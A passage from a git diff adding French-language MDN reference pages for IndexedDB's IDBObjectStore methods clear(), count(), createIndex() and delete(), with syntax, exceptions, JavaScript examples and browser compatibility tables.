+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/clear/index.html b/files/fr/web/api/idbobjectstore/clear/index.html
new file mode 100644
index 0000000000..3f6213015f
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/clear/index.html
@@ -0,0 +1,181 @@
+---
+title: IDBObjectStore.clear()
+slug: Web/API/IDBObjectStore/clear
+translation_of: Web/API/IDBObjectStore/clear
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La méthode <strong><code>clear()</code></strong> de l'interface {{domxref("IDBObjectStore")}} fait une {{domxref("IDBRequest","requête")}} pour vider le magasin d'objet {{domxref("IDBObjectStore","relié")}}.</p>
+
+<p>Vider un magasin d'objet consiste à supprimer tous les enregistrements et les entrées des index de ce magasin d'objet.</p>
+
+<div class="note">
+<p>Note: La méthode clear() ne remet pas à zero le compteur du génerateur de clé s'il y en à un.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var request = objectStore.clear();</pre>
+
+<h2 id="Renvoie">Renvoie</h2>
+
+<p>Une {{domxref("IDBRequest","requête")}}.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>ReadOnlyError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levé si la transaction associé à cette requête est en {{domxref("IDBTransaction.mode","mode")}} lecture seule.</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levé si la {{domxref("IDBTransaction","transaction")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d’objet est inactive.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on ouvre une {{domxref("IDBDatabase","connexion")}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction")}} en lecture/écriture pour avoir un {{domxref("IDBObjectStore","accès")}} au magasin d'objet <code>"toDoList"</code> et le {{domxref("IDBObjectStore.clear","vider")}}</p>
+
+<p>La méthode <strong><code>clear()</code></strong> de l'accès au magasin d'objet fait une {{domxref("IDBRequest","requête")}} pour vider le magasin d'objet <code>toDoList</code>.</p>
+
+<pre class="brush: js">//Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+	note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+	//Affecte la connexion à la variable db.
+	db = DBOpenRequest.result;
+
+  // Exécutez la fonction clearData () pour vider les données dans le magasin d'objet
+  clearData();
+};
+
+function clearData() {
+  // ouvre une transaction de lecture / écriture  prête pour le nettoyage
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // en cas de succès de l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+	note.innerHTML += '&lt;li&gt;Transaction complété : modification de la base de données terminée.&lt;/li&gt;';
+  };
+
+  // en cas d'échec de l'ouverture de la transaction
+  transaction.onerror = function(event) {
+     note.innerHTML += '&lt;li&gt;Transaction en échec à cause de l\'erreur : ' + transaction.error + '&lt;/li&gt;';
+  };
+
+  // ouvre l'accès au un magasin "toDoList" de la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Vide le magasin d'objet
+  var objectStoreRequest = objectStore.clear();
+
+  objectStoreRequest.onsuccess = function(event) {
+  // rapporte le succès du nettoyage
+  note.innerHTML += '&lt;li&gt;Enregistrements effacées.&lt;/li&gt;';
+  };
+};
+</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-clear-IDBRequest', 'clear()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/count/index.html b/files/fr/web/api/idbobjectstore/count/index.html
new file mode 100644
index 0000000000..3ac1c44d6e
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/count/index.html
@@ -0,0 +1,183 @@
+---
+title: IDBObjectStore.count()
+slug: Web/API/IDBObjectStore/count
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/count
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>count()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, renvoie le nombre d'enregistrements qui correspondent à la clé ou à l'intervalle de clé ({{domxref("IDBKeyRange")}}) passé en argument. Si aucun argument n'est fourni, la méthode renvoie le nombre total d'enregistrements contenus dans le magasin d'objets.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var requete = ObjectStore.count(optionalKeyRange);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>optionalKeyRange</code></dt>
+ <dd>Une clé ou un intervalle de clé ({{domxref("IDBKeyRange")}}) qui indique le critère de comptage des enregistrements.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel seront déclenchés les différents évènements relatifs à l'opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} ayant un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet {{domxref("IDBObjectStore")}} a été supprimé.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction associée à l'objet {{domxref("IDBObjectStore")}} est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>La clé ou l'intervalle de clé passé en argument est invalide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans ce fragment de code, on crée une transaction, on récupère un magasin d'objets puis on compte le nombre d'enregistrements contenus dans ce magasin grâce à la méthode <code>count()</code>. Lorsque l'évènement associé au succès de l'opération est déclenché, on inscrit le résultat dans la console.</p>
+
+<pre class="brush: js">var transaction = db.transaction(['fThings'], 'readonly');
+var objectStore = transaction.objectStore('fThings');
+
+var countRequest = objectStore.count();
+countRequest.onsuccess = function() {
+  console.log(countRequest.result);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-count-IDBRequest-any-key', 'count()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/createindex/index.html b/files/fr/web/api/idbobjectstore/createindex/index.html
new file mode 100644
index 0000000000..aef72d855a
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/createindex/index.html
@@ -0,0 +1,231 @@
+---
+title: IDBObjectStore.createIndex()
+slug: Web/API/IDBObjectStore/createIndex
+translation_of: Web/API/IDBObjectStore/createIndex
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<p>La méthode <strong><code>createIndex()</code></strong> de l'interface {{domxref("IDBObjectStore")}} met en place sur le magasin d'objet {{domxref("IDBObjectStore","relié")}} un nouvel index et en renvoie l'{{domxref("IDBIndex","accès")}}.</p>
+
+<div class="note">
+<p>Note: cette méthode ne peut être appelé que si la transaction de l'accès au magasin d'objet est en mode VersionChange.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js" style="font-size: 14px;">objectStore.createIndex(nomIndex, nomCle, parametresIndexOptionnel);</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>nomIndex</dt>
+ <dd>Le nom de l'index que l'on veut ajouter. Il est possible d'ajouter un index avec un nom vide.</dd>
+ <dt>nomCle</dt>
+ <dd>Le nom de clé qu'utilise l'index. Il est possible d'ajouter un index sans nom de clé.</dd>
+ <dt>parametresIndexOptionnel {{optional_inline}}</dt>
+ <dd>
+ <p>Un objet optionnel pouvant inclure une ou plusieurs des propriétés suivantes:</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Propriété</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>unique</code></td>
+    <td>Si true, l'index empêcheras la duplication d'une clé.</td>
+   </tr>
+   <tr>
+    <td><code>multiEntry</code></td>
+    <td>Si true, l'index ajoutera une entrée pour chaque élément de tableau quand le nom de clé de clé est résolue. Si false, il ajoutera un seule entrée contenant le tableau.</td>
+   </tr>
+   <tr>
+    <td><code>locale</code></td>
+    <td>
+     <p>Actuellement uniquement dans Firefox 43+ , cela vous permet de spécifier des paramètres de localisation pour l'index. Toutes les opérations de tri effectuées sur les données via des intervalle de clé obéirons aux règles locales de tri (voir <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">trie dans localisation courante</a>, en). Vous pouvez spécifier sa valeur de trois façons différentes:</p>
+
+     <ul>
+      <li><code>string</code>: une chaîne de caractère contenant le code de la localisation , par exemple 'fr' ou <code>'en-US'</code>.</li>
+      <li><code>auto</code>: La localisation par défaut est utilisé (peut être régler par l'utilisateur).</li>
+      <li><code>null or undefined</code>: Les règles de tri par défaut de javaScript seront utilisées.</li>
+     </ul>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Renvoie">Renvoie</h2>
+
+<p>L'{{domxref("IDBIndex","accès")}} au nouvel index.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette {{domxref("DOMException","exeption")}} si la {{domxref("IDBTransaction","transaction")}} dont dépend cet {{domxref("IDBObjectStore","accès")}} au magasin d'objet n'est pas en {{domxref("IDBTransaction.mode","mode")}} <code>versionchange</code>.</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette {{domxref("DOMException","exeption")}} si la {{domxref("IDBTransaction","transaction")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d’objet est inactive.
+ <p class="note">Dans les versions de Firefox antérieur à 41, une <code>InvalidStateError</code> est levé dans ce cas aussi, ce qui est trompeur. Cela a été corrigé (voir <a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1176165" title="FIXED: Fix error codes for {create,delete}{ObjectStore,Index}">bug 1176165</a> ).</p>
+ </dd>
+ <dt><code>ConstraintError</code></dt>
+ <dd>Cette {{domxref("DOMException","exeption")}} si un index avec le même nom (case sensible) existe déjà sur le magasin d'objet.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on peut voir le gestionnaire d'événement {{domxref("IDBOpenDBRequest.onupgradeneeded","<code>onupgradeneeded</code>")}} être utilisé pour mètre à jour la structure de la base de donnée quand un numéro de version supérieur est chargé.</p>
+
+<p>Des méthode <strong><code>createIndex()</code></strong> sont utilisées pour mètre en place différents index sur le magasin d'objet <code>toDoList</code>.</p>
+
+<pre class="brush: js">var db;
+
+// Requête d'ouverture de la base de données "toDoList"
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Gère  l'échec de l'ouverture de la base
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;La base de donnée n\'as pas peut être ouverte.&lt;/li&gt;';
+};
+
+// Gère le succès de l'ouverture de la base
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;La base de données est ouverte.&lt;/li&gt;';
+
+  //La connexion est affcté à la variable db.
+  db = request.result;
+
+  // Exécute une fonction d'affichage displayData()
+  displayData();
+};
+
+// Ce gestionnaire d'événement nécessite  un nouveau numéro de version de la basse de données.
+// Si la base n'existe pas un nouveau numéro de version est généré par la méthode d'ouverture de connexion window.indexDB.open .
+
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur de chargement de la base de données.&lt;/li&gt;';
+  };
+
+  // L'Accès au magasin d'objet "toDoList" de la base de donnée
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // Met en place les index du magasin d'objet
+  objectStore.createIndex("heures", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("jour", "day", { unique: false });
+  objectStore.createIndex("mois", "month", { unique: false });
+  objectStore.createIndex("annee", "year", { unique: false });
+  objectStore.createIndex("notifiee", "notified", { unique: false });
+};
+</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-createIndex-IDBIndex-DOMString-name-DOMString-sequence-DOMString--keyPath-IDBIndexParameters-optionalParameters', 'createIndex()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/delete/index.html b/files/fr/web/api/idbobjectstore/delete/index.html
new file mode 100644
index 0000000000..81350ca992
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/delete/index.html
@@ -0,0 +1,221 @@
+---
+title: IDBObjectStore.delete()
+slug: Web/API/IDBObjectStore/delete
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/delete
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>delete()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, supprime le ou les enregistrements concernés.</p>
+
+<p>Cette méthode prend une clé ou un objet {{domxref("IDBKeyRange")}} en argument ce qui permet de supprimer un ou plusieurs enregistrements. Si on souhaite supprimer l'ensemble des enregistrements d'un magasin de données, on utilisera plutôt la méthode {{domxref("IDBObjectStore.clear")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var request = objectStore.delete(keyOrKeyRange);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>keyOrKeyRange</code></dt>
+ <dd>La clé de l'enregistrement qu'on souhaite supprimer ou un objet {{domxref("IDBKeyRange")}} qui indique l'intervalle de clés à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} qui recevra les évènements relatifs à cette opération. <code>request.result</code> vaut {{jsxref("undefined")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une des exceptions suivantes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction associée au curseur <code>IDBCursor</code> est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>ReadOnlyError</code></td>
+   <td>La transaction est uniquement en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Le curseur créé avec {{domxref("IDBindex.openKeyCursor")}}, est en train d'être parcouru ou a été parcouru après sa fin.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>La clé ou l'intervalle de clés n'est pas valide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction en lecture/écriture et on supprime un enregistrement donné grâce à <code>delete()</code>. Pour un exemple complet, voir l'application <a href="https://github.com/mdn/to-do-notifications/">Notifications To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">démonstration</a>).</p>
+
+<pre class="brush: js">// On ouvre l'accès à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture
+  // dans la variable db.
+  var db = DBOpenRequest.result;
+
+  // On utilise deleteData() pour supprimer
+  // un enregistrement
+  deleteData();
+};
+
+function deleteData() {
+  // On ouvre une transaction en lecture/écriture
+  // afin de supprimer la donnée
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On indique le succès de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base terminée.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction interrompue suite à l\'erreur : ' + transaction.error + '&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objets pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // On supprime l'enregistrement du magasin
+  var objectStoreRequest = objectStore.delete("Walk dog");
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique le succès de l'opération
+    note.innerHTML += '&lt;li&gt;Enregistremnt supprimé.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-delete-IDBRequest-any-key', 'delete()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
